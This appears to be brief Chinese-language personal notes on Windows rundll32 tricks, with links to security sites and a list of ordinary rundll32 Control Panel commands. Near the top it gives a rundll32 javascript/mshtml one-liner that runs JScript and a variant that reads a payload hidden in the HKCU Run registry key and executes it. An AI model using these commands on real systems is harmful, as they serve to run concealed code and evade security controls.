Windows hackson (rundll32--ADS)

http://www.tuicool.com/articles/AnuqA3

 

http://www.2cto.com/Article/201507/424713.html

http://drops.wooyun.org/tips/8260

 

1.exescope, Resource Hacker

（1）直接执行jscript

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

（2）读取注册表payload并执行

HKCU\\software\\microsoft\\windows\\currentversion\\run\\

读取并执行

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=jscript>"+(new%20ActiveXObject("WScript.Shell")).RegRead("HKCU\\software\\microsoft\\windows\\currentversion\\run\\")+"\74/script>")

2. Rundll32

第一步：运行eXeScope软件，打开一个某个DLL文件，例如shell32.dll。 
第二步：选择“导出→SHELL32.DLL”，在右边窗口就可以看到此DLL文件的参数了。 
第三步：这些参数的作用一般可以从字面上得知，所以不用专业知识。要注意的是，参数是区分大小写的，在运行时一定要正确输入，否则会出错。现在随便找一个参数，例如RestartDialog，从字面上理解应该是重启对话框。组合成一个命令，就是Rundll32.exe shell32.dll，RestartDialog ，运行后可以看见平时熟悉的Windows重启对话框。 
现在，我们已经学会了利用反编译软件来获取DLL文件中的参数，所以以后看到别人的一个命令，可以从调用的DLL文件中获取更多的命令。自己摸索，你就能了解更多调用DLL文件的参数了。 
小资料 
常用的rundll32参数 
命令: rundll32.exe shell32.dll,Control_RunDLL 
功能: 显示控制面板 
命令: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1 
功能: 显示“控制面板→辅助选项→键盘” 
命令: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1 
功能: 执行“控制面板→添加新硬件” 
命令: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter 
功能: 执行“控制面板→添加新打印机” 
命令：rundll32.exe DISKCOPY.DLL,DiskCopyRunDll 
功能：启动软盘复制窗口 
动态链接库函数启动器——Rundll32 

/R     Display alternate data streams. (Vista and above)